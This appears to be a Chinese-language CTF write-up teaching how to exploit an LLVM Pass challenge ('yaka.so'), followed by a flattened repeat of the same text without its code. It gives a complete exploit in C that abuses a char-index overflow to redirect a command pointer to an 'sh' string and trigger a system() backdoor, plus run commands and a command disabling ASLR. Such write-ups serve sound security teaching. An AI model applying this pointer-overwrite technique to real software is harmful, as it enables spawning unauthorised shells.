llvm pass pwn-1
字数 1269 2025-08-12 11:34:24

LLVM Pass Pwn 入门教学文档

环境配置

  1. 操作系统:Ubuntu 18.04
  2. 安装依赖:
    apt-get install -y clang++-8 libc++-8-dev libc++abi-8-dev
    

题目分析

关键函数

程序包含以下关键函数:

  • gamestart(): 主函数
  • fight(int a): 战斗函数
  • merge(int a, int b): 合并函数
  • destroy(int a): 销毁函数
  • upgrade(int a): 升级函数
  • wuxiangdeyidao(), zhanjinniuza(), guobapenhuo(), tiandongwanxiang(): 特殊技能函数

数据结构

  1. weaponlist: 全局数组,存储武器数据
  2. boss: 全局变量,存储boss血量
  3. funMap: 全局映射表,用于存储未知函数信息

函数逻辑分析

  1. fight函数:

    • 获取参数作为index
    • 从weaponlist获取对应值
    • 与boss血量比较
    • 如果差值大于0x12345678,执行后门(包含system调用)
  2. merge函数:

    • 两个参数作为index
    • 对weaponlist进行add操作
  3. destroy函数:

    • 参数作为index
    • 将weaponlist对应位置置0
  4. upgrade函数:

    • weaponlist每个字节加上参数值
  5. 特殊技能函数:

    • 都涉及对boss血量的操作
    • 对后门参数进行操作

漏洞分析

  1. funMap机制:

    • 遇到未知函数时会将其存入funMap
    • 函数在funMap中的位置决定了其在weaponlist中的写入位置
    • 函数多次调用只会写入相同位置
  2. char类型溢出:

    • 循环使用的idx是char类型(-128~127)
    • 通过足够多的函数调用可以实现负向溢出
  3. 关键全局变量:

    • 都是指针类型
    • 可以通过修改指针指向控制程序流

利用思路

  1. 控制weaponlist:

    • 通过大量函数调用覆盖weaponlist
    • 利用char类型溢出实现负向索引
  2. 修改关键指针:

    • 修改cmd指针指向"sh"字符串
    • 修改score指针使其指向有效地址
  3. 触发后门:

    • 通过fight函数触发system调用

攻击步骤

  1. 生成大量函数:

    from pwn import *
    import os
    
    str1 = ''
    for i in range(0x100):
        str1 += 'void fun{0:03}'.format(i) + '(int a);\n'
    
    str2 = ''
    for i in range(0x100):
        str2 += 'fun{0:03}'.format(i) + '(0);\n'
    
  2. 定位关键地址:

    • "sh"字符串地址: 0x6efdad (来自fflush函数)
    • GOT表地址: 0x77dfd8
  3. 构造payload:

    • 使用fun232-fun247覆盖关键指针
    • 调用fight(1)触发漏洞

完整利用代码

void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();
void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void fight(int a);

// 生成256个函数声明
void fun000(int a); void fun001(int a); /* ... */ void fun255(int a);

void gamestart() {
    // 填充前232个函数调用
    fun000(0); fun001(0); /* ... */ fun231(0);
    
    // 覆盖cmd指针 (0x6efdad "sh")
    fun232(0xad); fun233(0xfd); fun234(0x6e);
    fun235(0); fun236(0); fun237(0); fun238(0); fun239(0);
    
    // 覆盖score指针 (0x77dfd8 GOT表)
    fun240(0xd8); fun241(0xdf); fun242(0x77);
    fun243(0); fun244(0); fun245(0); fun246(0); fun247(0);
    
    // 填充剩余函数调用
    fun248(0); /* ... */ fun255(0);
    
    // 确保覆盖生效
    fun232(0xad); fun233(0xfd); fun234(0x6e);
    fun240(0xd8); fun241(0xdf); fun242(0x77);
    
    // 触发漏洞
    fight(1);
}

编译与执行

  1. 编译利用代码:

    clang-8 -emit-llvm -S exp.c -o exp.ll
    
  2. 执行攻击:

    ./opt-8 -load ./yaka.so -ayaka ./exp.ll
    

调试技巧

  1. 关闭ASLR:

    echo 0 > /proc/sys/kernel/randomize_va_space
    
  2. 关键断点:

    • yaka.so的fight处理模块: 0x4b8e0e
    • weaponlist操作位置: 0xD12E+基地址
  3. 查看全局变量:

    • 使用调试器查看weaponlist、boss、funMap等全局变量

总结

  1. 利用LLVM Pass的特性,通过大量函数调用控制全局数组
  2. 利用char类型溢出实现负向索引
  3. 修改关键指针触发后门
  4. 通过调试确认内存布局和攻击效果

关键点在于理解funMap机制和char类型溢出,以及如何通过函数调用序列精确控制内存布局。

LLVM Pass Pwn 入门教学文档 环境配置 操作系统:Ubuntu 18.04 安装依赖: 题目分析 关键函数 程序包含以下关键函数: gamestart() : 主函数 fight(int a) : 战斗函数 merge(int a, int b) : 合并函数 destroy(int a) : 销毁函数 upgrade(int a) : 升级函数 wuxiangdeyidao() , zhanjinniuza() , guobapenhuo() , tiandongwanxiang() : 特殊技能函数 数据结构 weaponlist : 全局数组,存储武器数据 boss : 全局变量,存储boss血量 funMap : 全局映射表,用于存储未知函数信息 函数逻辑分析 fight函数 : 获取参数作为index 从weaponlist获取对应值 与boss血量比较 如果差值大于0x12345678,执行后门(包含system调用) merge函数 : 两个参数作为index 对weaponlist进行add操作 destroy函数 : 参数作为index 将weaponlist对应位置置0 upgrade函数 : weaponlist每个字节加上参数值 特殊技能函数 : 都涉及对boss血量的操作 对后门参数进行操作 漏洞分析 funMap机制 : 遇到未知函数时会将其存入funMap 函数在funMap中的位置决定了其在weaponlist中的写入位置 函数多次调用只会写入相同位置 char类型溢出 : 循环使用的idx是char类型(-128~127) 通过足够多的函数调用可以实现负向溢出 关键全局变量 : 都是指针类型 可以通过修改指针指向控制程序流 利用思路 控制weaponlist : 通过大量函数调用覆盖weaponlist 利用char类型溢出实现负向索引 修改关键指针 : 修改cmd指针指向"sh"字符串 修改score指针使其指向有效地址 触发后门 : 通过fight函数触发system调用 攻击步骤 生成大量函数 : 定位关键地址 : "sh"字符串地址: 0x6efdad (来自fflush函数) GOT表地址: 0x77dfd8 构造payload : 使用fun232-fun247覆盖关键指针 调用fight(1)触发漏洞 完整利用代码 编译与执行 编译利用代码: 执行攻击: 调试技巧 关闭ASLR: 关键断点: yaka.so的fight处理模块: 0x4b8e0e weaponlist操作位置: 0xD12E+基地址 查看全局变量: 使用调试器查看weaponlist、boss、funMap等全局变量 总结 利用LLVM Pass的特性,通过大量函数调用控制全局数组 利用char类型溢出实现负向索引 修改关键指针触发后门 通过调试确认内存布局和攻击效果 关键点在于理解funMap机制和char类型溢出,以及如何通过函数调用序列精确控制内存布局。